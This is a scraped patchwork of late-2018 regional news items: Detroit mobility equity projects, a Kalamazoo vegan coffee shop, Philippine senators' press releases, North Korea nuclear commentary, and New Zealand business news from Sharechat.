strategist at engineering consultancy WSP USA, says there are gaps in Detroit's mobility ecosystem that those who are intimately involved in the system often overlook."Mobility should be accessible to everyone, regardless of your [ability], your socioeconomic status, or where you're going in the city," she says. "None of that should matter. So we're trying to fill some of those gaps and give people who usually don't have the opportunity to talk about those gaps a chance to talk about them."Design students at the College for Creative Studies (CCS) recently had an opportunity to engage with some of those Detroiters who usually don't have a voice in mobility conversations and apply their skills to creating solutions. That project, 2030 Detroit Equitable Mobility , was a joint effort by CCS, Ford Motor Co. , communications agency GTB , and economic development organization Design Core Detroit Design Core is the steward of Detroit's UNESCO City of Design designation. Design Core staffers' partners in the UNESCO network originally inspired them to do a project focusing on mobility equity. Working with the project partners, CCS students designed three long-term mobility-related scenarios and solutions focusing on the sub-topics of health, employment, and education and socialization. For example, students came up with the idea of a bus service offering onboard entrepreneurial training services for young adults who find themselves losing time and personal opportunity to a long commute.In the second phase of the project, students engaged in co-creation sessions where they worked directly with ordinary Detroiters at nonprofit Focus: HOPE to identify their mobility needs and priorities. Ellie Schneider, director of advocacy and operations at Design Core, says that yielded some surprises for the students."Sometimes the way we've been thinking about what the challenges are isn't necessarily the way residents would frame them," she says. "There's so much talk in the mobility space in particular about autonomous vehicles and things like that. These people can't even afford to buy a used vehicle right now, or can't buy insurance for that. Talking about autonomous vehicles is not relevant, or it's not the right starting point."As a result, the designs that came out of the project's second phase approached mobility in quite different ways. For example, one of them suggested utilizing vehicles, bus stops, or even buildings as a kind of community billboard system to communicate neighborhood-relevant news.Maria Luisa Rossi, chair of MFA integrated design at CCS, says the students who worked on 2030 Detroit Equitable Mobility learned a lot about engaging users in the design process which she says can be "quite a big challenge" for designers."We normally have a quite big ego, and you need to be able to serve as facilitator of this kind of conversation with the user," she says. "What are their needs and what are their desires? I think what [students] learned was how to understand and how to empathize with people who are maybe quite different from them, and how to keep their own creativity serving the purpose of creating a good solution for the user's needs."Two of the designs that resulted from the project will be featured in an upcoming exhibit at the Smithsonian Design Museum entitled The Road Ahead: Reimagining Mobility . But Rossi and Schneider both express hope that the project will continue on beyond that. Schneider raises the possibility of raising funding for CCS faculty members to publish research on mobility equity, or for a student mobility equity design challenge."Then we really shift to a culture of design research, where these questions are ongoing and they're not just limited to what can be done in a six-month window," she says.Similarly, Edwards and her fellow Untokening members are trying to create a broader discussion around the idea of mobility justice. Untokening Detroit, which took place Nov. 11, was The Untokening's third convening. It drew about 110 attendees from as far as Pittsburgh, Atlanta, and Toronto. Edwards says much of the conversation revolved around helping to improve the outlook for the future of Rust Belt cities through mobility.Untokening Detroit co-organizer Heather Nugen views the failure of the Regional Transit Authority of Southeast Michigan's 2016 ballot measure as a major sign that mobility equity has a long way to go in our community."Detroit needs to talk about mobility in a new way, and we need to engage some people we have not been engaging, because what we've been doing has not been getting us there," Nugen says.One major takeaway from Untokening Detroit was that those individuals frequently left out of mobility discussions include not only people of color, but people with disabilities. Nugen says that as Untokening leaders look to their next convening, they're emphasizing the idea that "there's no mobility justice without disability justice."Edwards says the convening was particularly helpful in allowing mobility equity advocates from different cities to compare notes on successful strategies. She was pleased to learn that Detroit's scooter deployment guidelines have played a role in scooter policy discussions in Atlanta. The city of Detroit requires scooter companies to place a certain number of scooters in each of Detroit's seven city council districts."We helped shape that here in the city," Edwards says. "We have scooters all the way down Gratiot, all over the place. That's something that we're doing right and can kind of set the tone for moving forward."That's one bright spot in what mobility equity advocates see as a fairly bleak picture for Detroit. But Edwards strikes a hopeful tone about the city's current lack of equity-oriented infrastructure. She notes that other cities may have existing systems or policies in place that can make it difficult for new endeavors to increase mobility equity. But in Detroit, she says, "we're able to try new things and pilot things and not have a whole lot of restriction on them.""We're able to start the culture shift with nothing in place," she says. "Then we can see how the public reacts to it and make changes based on that." 2030 Detroit Equitable Mobility from College for Creative Studies on Vimeo. Video courtesy of GTB, Design Core, and College for Creative Studies. Visit Driven and learn how the Detroit region is leading the world in next-generation mobility. Patrick Dunn is the managing editor of Concentrate and an Ann Arbor-based freelance writer for numerous publications. Follow him on Twitter @patrickdunnhere Photos by Steve Koss, except where otherwise indicated. The Southfield-based internet service provider 123Net continues its rapid pace of expansion. Its business-exclusive Fiber Network is expanding throughout the southeastern Michigan communities of Dearborn, Ferndale, Warren, Oak Park, Auburn Hills, Troy, Novi, Wixom, and Milford. According to the company, its list of "On-Net" buildings has grown to 760 buildings since June of this year. These buildings count at least one tenant utilizing the fiber network. In just the last two months, the company says it has "turned up" 84 new circuits, averaging three to four new customers a day. "As speed and reliability become more and more critical to todays businesses, dedicated internet access is key to achieving company performance metrics," says Heather Garey, Senior Account Executive at 123Net. "By utilizing an On-Net Fiber provider, not only will you see dramatic cost savings, but a much faster installation time, allowing pivotal project time frames to be met without any unexpected delays." The fiber network connects to the companys data center, the largest, private carrier-neutral data center in Michigan. 123Net celebrated the hiring of its 100th employee in December 2017. The company has previously stated that it plans on growing its employee base by 30 percent every year. The company unrolled its Smart Hands service in April 2018. With its service, 123Net guarantees customers IT support 24-hours-a-day, 365-days-a-year at each of its four Tier 3, carrier-neutral data centers throughout Michigan. Three of the 123Net data centers are located in Southfield, with the fourth being located in Byron Center. 123Net is headquartered at 24700 Northwestern Hwy. in Southfield. Got a development news story to share? Email MJ Galbraith here or send him a tweet @mikegalbraith. The requested page could not be found. Rose Gold brews coffee from freshly roasted coffee beans from Pittsburgh-based Commonplace Coffee Company and Michigan-based Littlefoot Coffee Roaster. A look at part of the menu from Rose Gold Coffee Company. Rose Bousamra and Braden Strayer at Rose Gold Coffee Company in downtown Kalamazoo. Braden and Kim Strayer think coffee needs a new flavor in Kalamazoo.I think that weve had kind of the same flavor of coffee for a long time, says Braden Strayer. There are a lot of shops that have been here for a long time and have stayed the same for a long time. We wanted to maybe take a step forward into some modern coffee and try out some new things.It's happening at Rose Gold Coffee Company, a new vegan-friendly coffee shop and cafe owned by the Strayers. It opened for business on Nov. 10, at 220 W. Michigan Ave. in downtown Kalamazoo.Rose Gold Coffee Company serves pourovers and filtered coffees, manual brews and hand-crafted espressos using freshly roasted coffee beans from Pittsburgh-based Commonplace Coffee Company and Michigan-based Littlefoot Coffee Roaster.The largest part of its vegan-friendly offerings is its food -- vegan cookies, muffins, scones, sticky buns, cheesecake, pie, and beer bread. All are prepared by head chef Brittney Ravencrest. Starting the week of Dec. 18, she was to add soups and fresh bread to the menu. Soon, vegan ice cream and popsicles are to be added.Dairy milk is used for lattes although oat milk is an option for those who are lactose intolerant or allergic to nuts. The cafe uses homemade flavorings, including lavender, vanilla, pumpkin and caramel. Rose Gold buys ingredients for its foods from the Natural Health Center in Kalamazoo.The business uses Fort Wayne, Ind.-based Modbar modular espresso machines. And about 30 customers can be seated in the 1,600-square-foot venue.Rose Gold's owners have described their food menu as plant-based to avoid creating a barrier for people who have misconceptions about what vegan means or whether its for them. But the Strayers also want to provide an option for what they say is an underserved population here.There are a lot of people that we know that love food and love to get excited about food but theres not a lot of places where they can do that, Braden Strayer says. Theres not a lot of vegan options. And if there is, its one option that you can have (at a restaurant). Its the one thing you can have every time you come back. Its like a consolation prize.He says in the cafe's planning stages he and his wife were focused on coffee but realized that coffee usually needs to be partnered with food of some kind.The quality and how it was made was so important to us that we wanted to have a lot of control of that, he says.They also wanted to offer a welcoming place, one where people get to know them, and vice-versa. It's experience-based customer service, Strayer explains.They wanted to provide a retreat from the impersonal atmosphere at some large franchises, he says.I feel like the hope is to bring a little heart back to it, Strayer says of the coffee industry. One of the ways to accomplish that is working in Kalamazoos collaborative, growing craft coffee industry, which young entrepreneurs have helped to expand over the past few years.It was important to create a place where coffee lovers want to gather, Strayer says, a place where "youre on a first-name basis with your baristas. You recognize them and you have a rapport. Its a nice feeling.Strayer, 26, and his wife Kim, 28, are former Water Street Coffee Joint baristas. The name Rose Gold was chosen by poet Kim Strayer and is based on the locations former use as a jewelry store and the rose gold wedding bands she and her husband own.They met in 2012 when Braden left Water Streets Oakland Drive location to cover a shift for someone at its Borgess Medical Center location. That's where Kim worked.He is a Portage Central High School graduate who studied a little bit of everything at Kalamazoo Valley Community College before becoming fascinated with psychology and earning a degree in psychology and women and gender studies in 2015 at Western Michigan University. About his post-graduation career, he says, I had no plan.Kim Strayer attended Portage Northern High School before graduating from Kalamazoo College with an undergraduate degree in creative writing and poetry. She headed to the University of Pittsburgh for a masters degree that would allow her to teach at the college level.The couple lived in Pittsburgh until Kim obtained her masters degree in 2017. Braden worked there as a bartender before helping open a new retail location for Commonplace Coffee Company. The pair returned to the Kalamazoo area in 2017 with the idea of going into business for themselves.Really we didnt think it was possible, Strayer says of he and his wife opening their own coffee shop. It seemed kind of silly, our idea, until we met these people who showed us that -- seemingly by force of goodwill and some good strategy -- you can build something.Rose Gold is the 10th coffee specialty operation in Kalamazoos central business district, not counting the coffees sold at Bronson Methodist Hospital and area restaurants. A Biggby Coffee closed its 121 E. Michigan Ave. location in November.The other downtown shops include: Caffe Casa, Civil House Coffee Co., Mamaleelu, Rio, Somethings Brewing, The Black Owl, Totally Brewed Cafe, Walnut & Perk Cafe and Water Street Coffee Joint.Andrew Haan, president of Kalamazoo Downtown Partnership (formerly Downtown Kalamazoo Inc.), says of the growth of the craft coffee industry, This really hasnt been something that has been coordinated on our part at all. What youre seeing is a very organic growth of this sector in our downtown.He says, We have one of the best coffee cultures in Michigan with some roasters going back 25-plus year here. And youre starting to see some of these different shops develop their own niche in how they prepare and serve their product.Haan says theres a coffee shop in almost every part of the central business district. That bodes well as workplace environments evolve and coffee shops and cafes become alternative working places.A lot of people, working remotely on laptops, treat coffee shops as a more relaxed third workplace (after the office and home), he says. Its almost a home away from home for a lot of folks, Haan says.Will the community become oversaturated with coffee houses?Were not there yet, Haan says. I think the market will balance itself out as long as people continue to offer something to set themselves apart. I think theres plenty of room at this point.Strayer says he also sees more synergy than rivalry among people currently working in the industry locally. Many of them know one another or previously worked together.There is now more cause for consumers to rotate from one shop to another, he says, likening the idea of coffee-house tours to brewpub tours that have become popular with craft beer drinkers.The way that we started dreaming this up, it was very much a fantasy, Strayer says. We didnt have any of the practical stuff thought out, only the parts that would be really cool and real fun.They gained a lot of practical knowledge under the tutelage of Commonplace Coffee owner T.J. Fairchild and his staff, the operation in Pittsburg that Braden had helped out earlier.The biggest thing we got from them was their advice on how to run a business, Strayer says. T.J. Fairchild always says that hes a terrible businessman. He didnt go to business school. Hes not the best with numbers. But hes just a real good people person. He knows how to care for a person, make them feel welcome, leave a nice impression, and he just really believes in the power of forging a meaningful connection with someone as a great way to establish yourself as a business.Not a bad model for the newest coffee shop on the block. Press Release December 20, 2018 ANGARA WANTS TO EXPAND SCHOLARSHIP GRANTS FOR PRIVATE COLLEGE STUDENTS Even with free tuition in public universities and colleges, Senator Sonny Angara is pushing for the expansion of scholarship grants to students enrolled in private higher education institutions. Angara has lauded the Commission on Higher Education (CHED)'s recent memorandum of agreement signing with 792 private institutions from all over the country so that private college students would also benefit from the Free College Law or Republic Act 10931. Of the P40 billion funding for the Free College Law this year, P16 billion was allotted for the Tertiary Education Subsidy (TES), wherein 300,000 student beneficiaries from both public and private universities would receive up to P60,000 per academic year for their tuition and other school expenses. Of the 300,000 slots, 151,819 are from the "Listahanan"--where 103,373 are students from public universities while 48,436 are from private universities. 13,760 of the beneficiaries are Expanded Students' Grants-in-Aid Program for Poverty Alleviation scholars that were previously under the Department of Social Welfare and Development. The third category of grantees are the 80,196 students in private universities among cities and municipalities where there are no state universities and colleges (SUCs) or local universities and colleges (LUCs). CHED chairman Dr. Prospero De Vera noted that there are still at least 30,000 slots to be filled up by student-beneficiaries mostly from private universities as they continue to validate the application. "While more than 1.3 million students from SUCs and LUCs are assured of free college education, marami pa rin sa ating mga mag-aaral sa mga pribadong unibersidad ang nangangailangan ng tulong mula sa gobyerno," said Angara, one of the authors of the Free College Law. Angara, finance committee vice chairman tasked to sponsor CHED's budget, said that from P16 billion this year, the TES has a proposed budget of P27 billion for next year. Aside from TES, Angara has also allotted P1 billion to help private school students who are not part of the beneficiaries of the Free College Law. Angara said that providing funds for private schools through student scholarship programs is a great way to give back to the institutions that provided outstanding education to Filipino students at a time when the government had no funds. This is also what his father, the late Senate President Edgardo Angara, had in mind when he authored the Government Assistance to Students and Teachers in Private Education Act or GASTPE Law in the 1990s. The senator said the law enabled students from low-income families to study in private schools. "Sa Free College Law, hindi na dapat maging hadlang sa pamilya ang malaking gastusin para makapagtapos sa pag-aaral ang kanilang mga anak," he said. Press Release December 20, 2018 De Lima applauds passage of US Senate bill promoting human rights, democracy in Indo-Pacific region Opposition Senator Leila M. de Lima has lauded the US Senate's approval of Asia Reassurance Initiative Act (ARIA) which promotes respect for human rights and basic freedoms as a long-term strategy in Indo-Pacific region, which includes the Philippines. De Lima, a human rights defender here and abroad, said she welcomes the Senate passage of the ARIA which would give impetus to the fight against violations to human rights and democracy not only in the Philippines but also in whole Indo-Pacific region. "During these times when our national voice on human rights concerns has been largely silent, the passage of the Senate Bill 2736 in the US can play a crucial role in the fight for democracy, human rights and the rule of law in the country and the whole of Asia," she said. "I commend the US Senate, along with the numerous organizations who lobbied for the passage of this significant measure, for boldly addressing the worsening human rights situation globally, including the extrajudicial killings under the rule of President Duterte who focuses on his deadly anti-narcotics campaign while kowtowing to his Chinese masters," she added. As a comprehensive and strategic national security legislation, ARIA seeks to demonstrate the US commitments to the region and for a rules-based international order, advancing its interests and goals, including substantive US resource commitments. One of the key features of this powerful legislation is it authorizes U.S. sanctions against human rights abusers. Logged as Senate Bill 2736, ARIA was approved by the Upper and Lower Chambers of US Congress last Dec. 5 and Dec. 18, respectively. It was introduced by Sen. Cory Gardner, chairman of the Senate Foreign Relations subcommittee on Asia and its ranking member Sen. Edward Markey. According to Rodel Rodis, president of US Pinoys for Good Governance, the measure will boost the morale of human rights defenders, journalists and civil society friends in the Philippines, China and in Asia who are persecuted by their respective governments. He explained that this new legislation specifically found "unacceptable human rights developments" in the Philippines with "continued disturbing reports of extrajudicial killings" there - alongside Burma's (Myanmar) ethnic cleansing of the Rohingya people and Chinese government's massive forced disappearances, "omnipresent surveillance" and lack of judicial due process there. (Sec. 401) It also, Rodis continued, calls on US President Donald Trump to "impose targeted financial penalties and visa bans sanctions" on human rights violators and persons who "engages in censorship activities" of the news media in the region. It further urges President Trump to "terminate, suspend, otherwise alter... economic assistance to any country that has engaged in serious violations of human rights or religious freedoms." (Sec. 408) Rodis also noted the Philippine National Police was identified for no counter-narcotics funding assistance unless the Duterte administration implemented a counter-narcotics approach "that is consistent with international human rights standards including investigating and prosecuting individuals who are credibly alleged to have ordered, committed, or covered up extrajudicial killings." (Sec. 201e) Once signed into law, Rodis said, ARIA also offers US$210 million year in financial aid to civil society groups, universities, multilateral institutions and nongovernmental organizations promoting human rights and the rule of law in the Indo-Pacific nations. In promoting American values in Indo-Pacific, ARIA provides US$150 million annually for five years for democracy, rule of law, and civil society support, including US$10 million annually for freedom of information efforts in North Korea. It also calls for additional US efforts against trafficking-in-persons and human slavery and authorizes US sanctions against human rights abusers. The bi-partisan support was also credited to the leadership of the late Senator John McCain, along with Sen. Bob Corker, Sen. Marco Rubio, Sen. Ben Cardin and Sen. Bob Menendez. House Majority Leader Kevin McCarthy reportedly championed the bill. Press Release December 20, 2018 Dispatch from Crame No. 438: Sen. Leila M. de Lima's statement on the continuing rise of Death Toll in War On Drugs 12/20/18 My heart breaks when I read on the newspaper last Wed. (Dec. 19) about the story of Mary Ann, an 11-year-old orphan who needs to beg and sing Christmas carols so that she can save for the funeral of her mother who died last Dec. 16. According to news reports, her mother was shot dead in the head after being mistakenly included in the drug watch list. She purportedly had an alias akin to that being used by an unidentified drug dealer in Navotas City where she lived. Mary Ann's father was reportedly killed during the early days of the government's all-out war on drugs. Mary Ann and her mother, Heart, (the names that media gave them) are among the countless families whose lives are senselessly lost in the most murderous government campaign against illegal drugs. Their dream of a happy life has escaped them now. I cannot, however, allow Presidential Spokesperson Panelo, to continue to poison the public's mind with the Duterte administration's oft-repeated but flawed proposition that the increasing number of deaths due to the crackdown on drugs was because suspected drug offenders have all resisted police arrest with violence. If we are to believe the official figures being fed to us, from July 1, 2016 to Nov. 30, 2018, about 5,050 suspected drug offenders had all resisted police arrest and therefore had to be killed in the name of enforcing the anti-drug law. Obviously, the huge casualties speak a lot on the Philippine National Police's low regard to human rights. Forget about the right of any individuals, including suspected offenders, to basic presumption of innocence until proven guilty. Forget about their right to due process itself enshrined under our Constitution. That is how our policemen think. I dare Mr. Panelo to tell that to Mary Ann and to the thousands of orphans and widows of EJKs, whose prospects of a happy and simple life have been destroyed due to this administration's lust for blood and utter lack of humanity. The suffering of these families of the EJK victims is beyond measure. I call on my colleagues in the public sector and human rights community to continue to press the Duterte administration to recognize the immense damages wrought by its all-out war on drugs on Filipino families, especially women and children. This murderous war on drugs must end, and we should not relent on our efforts until the death toll stops and those responsible are made accountable before the bar of justice. Press Release December 20, 2018 Hontiveros hails enactment of Kalusugan at Nutrisyon ng Mag-Nanay Act: "A perfect Christmas gift to mothers and infants" Senator Risa Hontiveros today hailed the enactment of a law introducing health programs for mothers and infants during a child's first 1,000 days as the "perfect holiday gift" for Filipino families, saying that the law must be implemented in full to help end infant malnutrition in the country. The Akbayan senator, who sponsored and co-author the measure, hailed lawmakers and private sector advocates for the successful passage of Republic Act 11148 or the 'Kalusugan at Nutrisyon ng Mag-Nanay Act,' which will provide much-needed protection to mothers and children from malnutrition - which has life-long and even life-threatening consequences. "I am elated over the support of my colleagues which led to the swift passage of this health measure that we can give Filipino mothers and our children. It is heartening to see our national leaders stand as one in the cause of promoting healthy nanays, healthy bulilits and a healthy citizenry," Hontiveros said. "Since Christmas revolves around the story of the infant Jesus, the new law is the best holiday gift that we can give Filipino mothers and their children so that they may live healthy, fulfilled and meaningful lives with their loved ones," she added. Along with Hontiveros, who chairs the Senate Committee on Women, Children, Family Relations and Gender Equality, the measure was co-sponsored by Senate President Pro-Tempore Ralph Recto and Senators Sonny Angara, Grace Poe, Nancy Binay, Bam Aquino IV, JV Ejercito, Loren Legarda and Grace Poe, with inputs from Senator Cynthia Villar. At the House of Representatives, the measure was authored and sponsored by Quezon City 4th District Representative Angelina Tan. The new law primarily mandates the establishment of a comprehensive nutrition intervention program to be implemented by the Department of Health and the National Nutrition Council for the benefit of infants during their first 1,000 days of life, as well as their mothers and other "nutritionally-at-risk" individuals like pregnant women, lactating women or teenage mothers. The said program includes a wide range of services, ranging from nutrition counselling, consultations on various health issues, psycho-social support for mothers, oral health and lactation management services, to social-welfare support for economically-challenged families and home visits for families in far-flung places. Hontiveros said that the challenge now is to ensure that RA 11148 will be immediately and effectively implemented, and that ample funding will be provided by government to support the many reforms the law introduces. "I call on government to build upon this achievement by giving this law the funding, attention and resources it requires. The state must be true to its mandate and promise of protecting mothers and their young children, whose development will determine the future of our nation," she said. Press Release December 20, 2018 Villar recognized for 'pivotal role' in fight vs IUUF Sen. Cynthia Villar was recognized by the Department of Agriculture for her role in the enactment of the law against illegal, unreported and unregulated fishing (IUUF). During the First Command Conference of the Philippine Committee against IUUF at the Philippine International Convention Center last Monday, Villar was recognized "for her pivotal role in the enactment of Republic Act 10654, which is the country's legal backbone in the fight against IUUF." Villar as chairperson of the Committee on Agriculture and Food, principally sponsored the bill which also resulted in the lifting of the yellow tag on Philippine fish imports. If not immediately addressed, the yellow tag would cause a ban on the Philippines to export fish products to Europe, one of the country's largest markets. It also caused the inclusion of the country in the European Commission's Generalized Scheme of Preferences Plus (GSP+) and allowed duty-free entry of over 6,000 Philippine products to Europe. "With the enactment of this law, we were able to address two important things one is to ensure the sustainability of our oceans and two is to ensure the livelihood of our fishermen. It also helped the Philippines diversify trade, increase exports and attract foreign direct investments," Villar said. The law which was signed into law February 27, 2015, amended the Philippine Fisheries Code of 1998. The law sanctions IUUF and modified penalties for a more deterrent effect. The law also provides for the creation of the Fisheries Management Fund from the fines and penalties collected. The fund will provide livelihood and scholarship programs, among others, to fisher folks and their family. Under the law, 35 percent of the fund will be allocated to the Bureau of Fisheries and Aquatic Resources for fishery law enforcement and 65 percent will be allotted to provide assistance to poor fisher folk: A. 10% for the purchase, upgrade and maintenance of vessels, communication and other equipment used for the monitoring, control and surveillance, of Philippine waters and distant water fishing; B. 5% for the payment of litigation expenses, cost of conveyance of witnesses and other costs due to cases filed by or against the Republic of the Philippines in international courts arising from the implementation of this act or where apprehending party or parties become respondents or defendants in any tribunal or court of law; C. 15% for the operating costs of the IFARMC and MFARMC and payment for the cost of rehabilitation, medical expenses for injury, or indemnity for death of law enforcement officers, including deputized volunteers; D. 20% for payment for rewards to informers and those who assisted in fishery law enforcement; E. 5% for the continued upgrading of laboratory facilities and equipment; F. 5% for the capability development of BFAR personnel, deputized law enforcement agencies and volunteers, and stakeholders; G. 10% for scholarship grants for children of fisher folks and fish workers in fish catch, aquaculture, fishing and fish processing; H. 15% for livelihood programs for production enhancement and poverty alleviation; and I. 15% for assistance to fishermen in the form of shared facilities. With the enactment of the law, Villar said the country was able to fulfill its commitment to the international community to protect marine life and resources. "We recognize the threat overfishing poses to all nations of the world. If left unabated, it will not only make deserts out of our oceans in 2050, it will also mean a collapse of the fishing sector as a source of livelihood," Villar said. North Korea said Thursday it will never unilaterally give up its nuclear weapons unless the United States first removes what Pyongyang called a nuclear threat. The surprisingly blunt statement jars with Seoul's rosier presentation of the North Korean position and could rattle the fragile trilateral diplomacy to defuse a nuclear crisis that last year had many fearing war. ...The North's comments may also be seen as proof of what outside skeptics have long said: that Kim will never voluntarily relinquish an arsenal he sees as a stronger guarantee of survival than whatever security assurances the United States might provide. The statement suggests North Korea will eventually demand the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, a major sticking point in any disarmament deal. ...North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, with Pyongyang vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursday's statement, the North made clear it's sticking to its traditional stance on denuclearization. It accused Washington of twisting what had been agreed on in Singapore and driving post-summit talks into an impasse. "The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography," the statement said. "When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula," the statement said. ...The statement could jeopardize a second Trump-Kim summit as the United States may have difficulty negotiating further if the North ties the future of its nukes to the U.S. military presence in the South, analysts said. Donald Trump has spent a lot of time bragging on Twitter about how he solved the problem of North Korea, but, like everything else he says, it was undiluted bullshit. All he did,was legitimize Kim Jong Un's regime, at least in the North Korean leader's own eyes. And now Kim feels empowered to brazenly tell the world, including and especially the U.S. and Donald Trump, to fuck off.Kim Tong-Hyung at the AP reports And the most significant barrier to any sort of reasonable outcome remains the fact that both North Korea and the United States are led by indecent authoritarian assholes who arrived in their positions via nepotism rather than merit and surround themselves with sycophants who assure them they're brilliant despite their obvious limitations as leaders and vast collections of profound character flaws.And lest anyone imagine that the situation might improve if Trump were removed from office, Mike Pence seemingly wants a war with North Korea even more than his boss does. Vital Healthcare Property Trust's manager easily defeated the election of a director proposed by rebel investors and five other resolutions with the weight of the manager's 24 percent holding in Vital cementing its victory, at least on the proxies held by chair Claire Higgins. The annual meeting, which began at 2pm, was still going late this afternoon and the total vote count has yet to be announced However, the manager, Canada-based NorthWest Healthcare Properties Management, faced a roomful of unhappy investors at the annual meeting in Auckland and a substantial vote in favour of the rebel's proposals, suggesting investors' grievances are not going away. One unitholder pointed to the excessive fees NorthWest is pocketing and accused it of using Vital as a private piggy bank and that that needs to stop. In the latest year, the annual report showed the manager collected $25 million in fees, up from $20.4 million the previous year, despite net distributable income falling 27.6 percent to $46.1 million. Guy Elliffe, representing ACC, one of the rebel investors, told the meeting that 31 percent of Vital's rental income went to NorthWest in the latest year. ACC and the other two rebel institutions, ANZ Investment Funds and Mint Asset Management, which own 10 percent of Vital between them, want changes in governance and the fee structure. They want NorthWest to be stripped of its right to fire independent directors at will and to set its own fees. Those rights are currently granted to Northwest by Vital's trust deed and endorsed by NZX, on which Vital is listed. A number of investors were also incensed that NorthWest has "borrowed" $81 million from Vital to buy a 13.4 percent effective stake in ASX-listed Healthscope at an effective price of A$2.36 per share when the shares are currently trading at A$2.085. Another investor complained about the meeting being held so close to Christmas: It seems to me that it was a jack-up, he said, adding that we do not like what NorthWest is doing with our money. Several attendees complained that NorthWest shouldn't be voting its more than 24 percent stake in Vital, or 82.06 million units, because it has a clear conflict of interest, but independent chair Higgins, who is subject to Northwest's 'fire-at-will' rights, told the meeting that legal advice she had sought was unclear, a statement that drew loud laughter. Nevertheless, the advice we have had is that the manager is entitled to vote, Higgins said. Higgins told the meeting she held proxies for 178.5 million units being voted in favour of Graham Stuart, NorthWest's choice as a second independent, and a further almost 6 million units over which she held discretion which she would also be voting in favour of Stuart, making it immediately clear he would be elected. Higgins had earlier noted that the number of units in Vital that had traditionally been voted at AGMs was previously just 34 percent, but that 56 percent had voted ahead of this meeting. However, Higgins said she also held votes in favour of the rebels' choice, Paul Mead, totalling 56.8 million units. One investor challenged Higgins' status as being the independent chair because she had voted the discretionary proxies she held in NorthWest's favour and against the interests of Vital's investors. Substantially higher numbers of units that Higgins was holding proxies for were voted in favour of the five proposals for example more than 105 million of them were in favour of the first proposal and nearly 107 million were in favour of the second. Nevertheless, Higgins continued to vote any discretionary proxies against the changes unitholders are demanding. Vital units were up 1 cent, or 0.5 percent, at $2.07 in late trading. (BusinessDesk) Comments from our readers No comments yet Add your comment: Your name: Your email: Not displayed to the public Comment: Comments to Sharechat go through an approval process. Comments which are defamatory, abusive or in some way deemed inappropriate will not be approved. It is allowable to use some form of non-de-plume for your name, however we recommend real email addresses are used. Comments from free email addresses such as Gmail, Yahoo, Hotmail, etc may not be approved. Anti-spam verification: Type the text you see in the image into the field below. You are asked to do this in order to verify that this enquiry is not being performed by an automated process. Related News: Kiwi Property Group Limited (NZX: KPG) Signs Sale and Purchase Agreement with IKEA 2nd December 2021 Morning Report The New Zealand Refining Company Limited (NZX: NZR) Launches Share Purchase Plan Seeka Limited (NZX: SEK) Confirms Market Guidance Australia and New Zealand Banking Group Limited (NZX: ANZ) Acknowledges Class Action Proceedings 1st December 2021 Morning Report Livestock Improvement Corporation Limited (NZX: LIC) Appoints New Chief Executive 30th November 2021 Morning Report Serko Limited (NZX: SKO) Announces Opening of NZ$10 Million Retail Offer Rua Bioscience Limited (NZX: RUA) Rua to Accelerate Growth with Proposed Acquisition of Zalm New Zealand's trade deficit narrowed in November as a stink bug discovery reduced imports, while exports rose sharply. The November deficit was a seasonally adjusted $402 million versus a deficit of $707 million in October, Statistics New Zealand said. The annual deficit was $5.4 billion, also in line with expectations. November imports eased 0.6 percent on the year to $5.8 billion with the largest fall being in passenger motor car imports, down 35 percent due to a delay in final unloading of one cargo ship in November. In a repeat of events in February this year, another vessel was ordered to leave New Zealand waters in November due to the discovery of stink bugs, international statistics manager Tehseen Islam said. In late November, Biosecurity New Zealand directed a vehicle carrier to leave New Zealand waters following the discovery of stink bugs and other regulated pests. Islam noted, however, after some car shipments were blocked in February, car imports bounced back in the following months. Aircraft and parts posted the next largest decline, down 48 percent from the same month last year at $153 million. Aircraft imports are irregular and can cause large rises or falls in monthly figures. The fall in imports was offset by rises across a range of other commodities, including fertilisers, soya bean oil cake, and palm oil cake, Stats NZ said. Monthly goods exports were up 71 percent at $4.9 billion. Exports of aluminium and beef were the leading contributors to the rise in exports, with aluminium up $59 million, or 142 percent, from November 2017 when values and quantities had been unusually low. Meat and edible offal rose $56 million, or 11 percent, to $553 million. Beef rose $51 million, or 28 percent, in value and 30 percent in quantity. The largest rise in beef exports was to China, up $32 million. Milk powder, butter, and cheese exports rose $30 million, or 2.1 percent, to $1.5 billion. Fruit exports climbed $32 million, or 60 percent, to $86 million. That was led by green kiwifruit, up $34 million, or 167 percent in value and 162 percent in quantity. (BusinessDesk) Comments from our readers No comments yet Add your comment: Your name: Your email: Not displayed to the public Comment: Comments to Sharechat go through an approval process. Comments which are defamatory, abusive or in some way deemed inappropriate will not be approved. It is allowable to use some form of non-de-plume for your name, however we recommend real email addresses are used. Comments from free email addresses such as Gmail, Yahoo, Hotmail, etc may not be approved. Anti-spam verification: Type the text you see in the image into the field below. You are asked to do this in order to verify that this enquiry is not being performed by an automated process. Related News: Kiwi Property Group Limited (NZX: KPG) Signs Sale and Purchase Agreement with IKEA 2nd December 2021 Morning Report The New Zealand Refining Company Limited (NZX: NZR) Launches Share Purchase Plan Seeka Limited (NZX: SEK) Confirms Market Guidance Australia and New Zealand Banking Group Limited (NZX: ANZ) Acknowledges Class Action Proceedings 1st December 2021 Morning Report Livestock Improvement Corporation Limited (NZX: LIC) Appoints New Chief Executive 30th November 2021 Morning Report Serko Limited (NZX: SKO) Announces Opening of NZ$10 Million Retail Offer Rua Bioscience Limited (NZX: RUA) Rua to Accelerate Growth with Proposed Acquisition of Zalm High-tech components maker Rakon is forecasting an improvement of up to 16 percent in its full-year operating earnings. Underlying earnings before interest, tax, depreciation and amortisation of $12-to-$14 million are expected for the year to March 31. That compares with the $12.1 million reported a year earlier and $5.9 million for the six months ended Sept. 30. The second-half performance continues on track with strong demand in the telecommunications market segment for network equipment and infrastructure requirements to support the roll-out of 4.5G/5G, chief executive Brent Robinson said in a statement to the NZX. In the defence market, US demand is expected to drive further growth. Rakon shares were recently down a cent at 29 cents. They have gained 26 percent this year. Rakon's three core markets are telecommunications, global positioning, and space and defence. The company has five manufacturing plants and six research and development centres and in May completed the acquisition of its Centum Rakon India joint venture. The $5.9 million of first-half operating earnings the firm reported last month was a 55 percent increase from the year before. Rakon said then that component supply and capacity in the telecommunications sector was tight and that the firms 